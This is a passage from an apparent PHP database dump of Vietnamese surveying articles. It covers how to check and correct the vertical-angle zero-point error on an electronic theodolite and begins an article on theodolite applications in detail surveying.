<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/hieu-chinh-doi-tam.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="hieu chinh doi tam" class="wp-image-5351 size-full aligncenter" height="490" sizes="(max-width: 346px) 100vw, 346px" src="http://tracdiapro.com/wp-content/uploads/2015/11/hieu-chinh-doi-tam.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/hieu-chinh-doi-tam-212x300.png 212w, http://tracdiapro.com/wp-content/uploads/2015/11/hieu-chinh-doi-tam.png 346w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="346" /></a></span></span></span></p>
<br />
<h3 style="box-sizing: border-box; margin: 0px; padding: 0px 0px 15px; color: rgb(51, 51, 51); font-family: Arial, sans-serif; line-height: 24px; font-size: 20px; text-align: justify;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span id="4-sai-so-diem-0-ban-do-dung" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">4. Sai số điểm 0 bàn độ đứng</span></span></span></span></h3>
<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">1) Kiểm tra</span></span></span></p>
<ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Đặt máy lên và cân máy</span></span></span></li>
<li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Để ống kính ngắm về bên trái, chọn mục tiêu P tùy ý theo bàn độ ngang trong phạm vi 10 độ, và đọc giá trị góc đứng…VR</span></span></span></li>
<li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Quay ngược ống kính về phía bên phải và đọc giá trị khác góc đứng…VL của mục tiêu P</span></span></span></li>
<li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Khi VR+VL=360 độ/400G khi đặt thiên đỉnh 0 độ, hoặc khi VR+VL=180 độ/200G ( Hoặc 540 độ/600G) khi đặt ngang 0 độ, không cần hiệu chỉnh. Nếu sai khác thì phải tiến hành hiệu chỉnh theo hướng dẫn sau:</span></span></span></li>
</ul>
<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"> Sai số ngắm chuẩn phương đứng cho các góc nói trên (360 độ, 180 độ và 540 độ hoặc 400G, 200G và 600G), và liên quan tới hằng số trục đứng. Hằng số trục đứng là phần bù kép cho sai số điểm không. Chú ý rằng sai số du xích đối xứng không có quan hệ với hằng số trục đứng. Do đó, phải lấy giá trị đọc một trong hai phương thiên đỉnh 0 hoặc phương ngang 0 độ, và tiến hành kiểm tra sai số.</span></span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">2) Hiệu chỉnh</span></span></span></p>
<ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Trước khi đo, xem lại phương góc đứng 0 độ ở dạng cài đặt tham số ban đầu</span></span></span></li>
<li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Góc đứng hiển thị như sau thiên đỉnh 0, bất chấp cài đặt ban đầu</span></span></span></li>
<li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Hai kiểu sai số cố định trục đứng để đặt đóng hay tắt bật tự động bù trục đứng, và ấn định trong các mục cài đặt ban đầu cho máy</span></span></span></li>
<li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Bù sai số điểm 0 là chức năng không tính đến bật cài đặt tự động bù trục đứng</span></span></span></li>
<li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Trong khi ấn phím ký hiệu bóng đèn, bật công tắc nguồn.</span></span></span></li>
</ul>
<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"> -Màn hình hiển thị sáng lên và giá trị hằng số trục đứng hiện thời được hiển thị.</span></span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/mn1.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="mn1" class="size-medium wp-image-5353 aligncenter" height="67" sizes="(max-width: 300px) 100vw, 300px" src="http://tracdiapro.com/wp-content/uploads/2015/11/mn1-300x67.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/mn1-300x67.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/mn1-480x108.png 480w, http://tracdiapro.com/wp-content/uploads/2015/11/mn1.png 487w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="300" /></a></span></span></span></p>
<ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);"> Nghiêng ống kính qua phương ngang ở vị trí mặt trái để đọc giá trị góc đứng</span></span></span></li>
</ul>
<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"> -Góc đứng “VR” xuất hiện ở dòng trên màn hình tinh thể lỏng.</span></span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/mn11.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="mn1" class="size-medium wp-image-5354 aligncenter" height="67" sizes="(max-width: 300px) 100vw, 300px" src="http://tracdiapro.com/wp-content/uploads/2015/11/mn11-300x67.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/mn11-300x67.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/mn11.png 487w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="300" /></a></span></span></span></p>
<ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Khi ở vị trí mặt trái, ngắm mục tiêu P tùy ý, nằm trong phạm vi 10 độ theo phương ngang.</span></span></span></li>
</ul>
<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"> -VR mang ra giá trị góc đứng của mục tiêu P</span></span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/mn12.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="mn1" class="size-medium wp-image-5355 aligncenter" height="67" sizes="(max-width: 300px) 100vw, 300px" src="http://tracdiapro.com/wp-content/uploads/2015/11/mn12-300x67.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/mn12-300x67.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/mn12-480x108.png 480w, http://tracdiapro.com/wp-content/uploads/2015/11/mn12.png 482w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="300" /></a></span></span></span></p>
<ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Nhấn phím (HOLD) lưu giá trị VR vào bộ nhớ</span></span></span></li>
</ul>
<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"> -Giá trị VR lưu giữ hiển thị ở dòng phía bên mà hình tinh thể lỏng, đồng thời VL hiển thị ở dòng dưới.</span></span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/mn13.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="mn1" class="size-medium wp-image-5356 aligncenter" height="68" sizes="(max-width: 300px) 100vw, 300px" src="http://tracdiapro.com/wp-content/uploads/2015/11/mn13-300x68.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/mn13-300x68.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/mn13-115x26.png 115w, http://tracdiapro.com/wp-content/uploads/2015/11/mn13.png 485w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="300" /></a></span></span></span></p>
<ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Quay ống kính về vị trí mặt phải và ngắm lại mục tiêu P.</span></span></span></li>
</ul>
<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"> -Mục tiêu P có góc đứng hiển thị ở dòng dưới</span></span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/mn14.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="mn1" class="size-medium wp-image-5357 aligncenter" height="68" sizes="(max-width: 300px) 100vw, 300px" src="http://tracdiapro.com/wp-content/uploads/2015/11/mn14-300x68.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/mn14-300x68.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/mn14-115x26.png 115w, http://tracdiapro.com/wp-content/uploads/2015/11/mn14.png 485w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="300" /></a></span></span></span></p>
<ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Nhấn phím (HOLD) lưu giá trị VL vào bộ nhớ</span></span></span></li>
</ul>
<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"> -Hằng số truc đứng hiển thị một giây trên cả 2 góc đứng mặt phải và trái là đưa vào</span></span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/mn15.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="mn1" class="size-medium wp-image-5358 aligncenter" height="67" sizes="(max-width: 300px) 100vw, 300px" src="http://tracdiapro.com/wp-content/uploads/2015/11/mn15-300x67.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/mn15-300x67.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/mn15-480x108.png 480w, http://tracdiapro.com/wp-content/uploads/2015/11/mn15.png 483w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="300" /></a></span></span></span></p>
<ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Bù góc đứng được tính bằng một nửa hằng số trục đứng và ghi vào bộ nhớ.</span></span></span></li>
</ul>
<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/mn16.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="mn1" class="size-medium wp-image-5359 aligncenter" height="68" sizes="(max-width: 300px) 100vw, 300px" src="http://tracdiapro.com/wp-content/uploads/2015/11/mn16-300x68.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/mn16-300x68.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/mn16-115x26.png 115w, http://tracdiapro.com/wp-content/uploads/2015/11/mn16.png 484w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="300" /></a></span></span></span></p>
<ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Nhấn phím khác bên cạnh phím (HOLD) là bỏ qua tiến hành hoạt động này</span></span></span></li>
<li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Để tiếp tục đặt bù góc trục đứng đến giá trị tốt hơn, bật tắt nguồn.</span></span></span></li>
<li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Tiến hành hiệu chỉnh khi hằng số tự động trục đứng vượt quá 6′, thông báo “OVER” sẽ xuất hiện trên màn hình và điều khiển quay về bước 2</span></span></span></li>
</ul>
<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/mn17.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="mn1" class="size-medium wp-image-5360 aligncenter" height="66" sizes="(max-width: 300px) 100vw, 300px" src="http://tracdiapro.com/wp-content/uploads/2015/11/mn17-300x66.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/mn17-300x66.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/mn17.png 485w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="300" /></a></span></span></span></p>
<ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Hằng số mới sửa sẽ được lưu giữ nguyên vẹn trong bộ nhớ thậm chí khi bật tắt nguồn. Tất cả đo góc đứng sau đó được sửa lại bằng AC mới.</span></span></span></li>
</ul>
',
'images' => '20170911075630e672d20fd038cdf903acb9804399e23d.jpg',
'images_multi' => '',
'pos' => null,
'new' => null,
'hot' => null,
'saleoff' => null,
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2017-09-11',
'modified' => '2025-08-10',
'status' => '1',
'view' => '62562',
'slug' => 'cach-kiem-tra-va-hieu-chinh-may-kinh-vi-dien-tu',
'name_eng' => '',
'shortdes_eng' => '',
'content_eng' => '',
'phut' => null,
'shortdes_tq' => null,
'content_tq' => null,
'name_tq' => null,
'nguoilon' => null,
'treem' => null,
'truso' => null,
'don' => null,
'doi' => null,
'lon' => null,
'tour' => null,
'tourtrongnuoc' => null,
'tournuocngoai' => null,
'noiden' => null,
'ngaydi' => null,
'thangdi' => null,
'namdi' => null,
'ngaykhoihanh' => null,
'thoigiandi' => null,
'ngaykhoihanh_eng' => null,
'thoigiandi_eng' => null,
'videoyou' => null,
'nt' => null,
'duration' => null,
'duration_eng' => null,
'twodaypro' => null,
'twodaypro_eng' => null,
'threedaypro' => null,
'threedaypro_eng' => null,
'photo' => null,
'lft' => '863',
'rght' => '864',
'vat' => null,
'hangsx' => null,
'baohanh' => null,
'tinhtrang' => '1',
'tailieu' => null,
'tag' => null
),
'Catproduct' => array(
'id' => '40',
'name' => 'Tin Tức',
'parent_id' => null,
'alias' => 'tin-tuc',
'images' => '',
'lft' => '119',
'rght' => '120',
'pos' => '5',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2015-12-16',
'modified' => '2019-07-06',
'slug' => 'tin-tuc',
'cate' => '4',
'link' => 'tin-tuc',
'name_eng' => '',
'name_tq' => '',
'type' => 'new',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 1 => array(
'Post' => array(
'id' => '493',
'name' => 'Một số ứng dụng của máy kinh vĩ trong trắc địa',
'code' => null,
'alias' => 'mot-so-ung-dung-cua-may-kinh-vi-trong-trac-dia',
'cat_id' => '40',
'price' => '0',
'type' => 'new',
'shortdes' => '<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">Máy kinh vĩ là <a href="http://tracdiapro.com/" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;" target="_blank" title="thiết bị đo đạc">thiết bị đo đạc</a> được dùng phổ biến trong trắc địa. <a href="http://tracdiapro.com/product-category/may-kinh-vi/" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;" target="_blank" title="Máy kinh vĩ">Máy kinh vĩ </a> có nhiều chức năng tiện lợi phục vụ cho công tác đo đạc của các kĩ sư trắc địa. Ngoài ra máy kinh vĩ còn có một số chức năng giống với <a href="http://tracdiapro.com/may-toan-dac-dien-tu/" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;" target="_blank" title="Máy toàn đạc điện tử">máy toàn đạc điện tử</a>, và có thể dùng thay thế cho các trường hợp cần thiết.</span></span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">Ngày nay với sự phát triển của khoa học công nghệ hiện đại, <a href="http://tracdiapro.com/may-kinh-vi-dien-tu-la-gi/" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;" target="_blank" title="máy kinh vĩ điện tử">máy kinh vĩ điện tử</a> đã ra đời thay cho dòng máy kinh vĩ quang cơ trước đây. Với những thiết kế thông minh và công nghệ cải tiến dòng máy kinh vĩ điện tử đã tạo ra một bước đột phá mới cho ngành đo đạc bản đồ, mang lại hiệu suất cao và những kết quả vô cùng chính xác.</span></span></span></p>
',
'content' => '<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><b style="box-sizing: border-box; margin: 0px; padding: 0px;">I. Đo chi tiết bằng phương pháp tọa độ cực.</b></span></span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Bước 1. Đặt máy trên một điểm trạm đo (dọi tâm, cân bằng sơ bộ, cân bằng chính xác).</span></span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Bước 2. Định hướng: là việc ngắm ống kính về một trạm đo khác và đưa bàn độ ngang về “00”.</span></span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Bước 3. Đo chi tiết: là việc quay máy ngắm đến mia dựng tại các điểm chi tiết (góc ranh, góc đường, góc ngoặt của sông suối…) để thu thập các số liệu về góc và cạnh rồi ghi vào trong sổ đo chi tiết.</span><br style="box-sizing: border-box; margin: 0px 0px 5px; padding: 0px;" />
<span style="box-sizing: border-box; margin: 0px; padding: 0px;"><b style="box-sizing: border-box; margin: 0px; padding: 0px;">II. Đo khoảng cách gián tiếp</b></span></span></span></p>
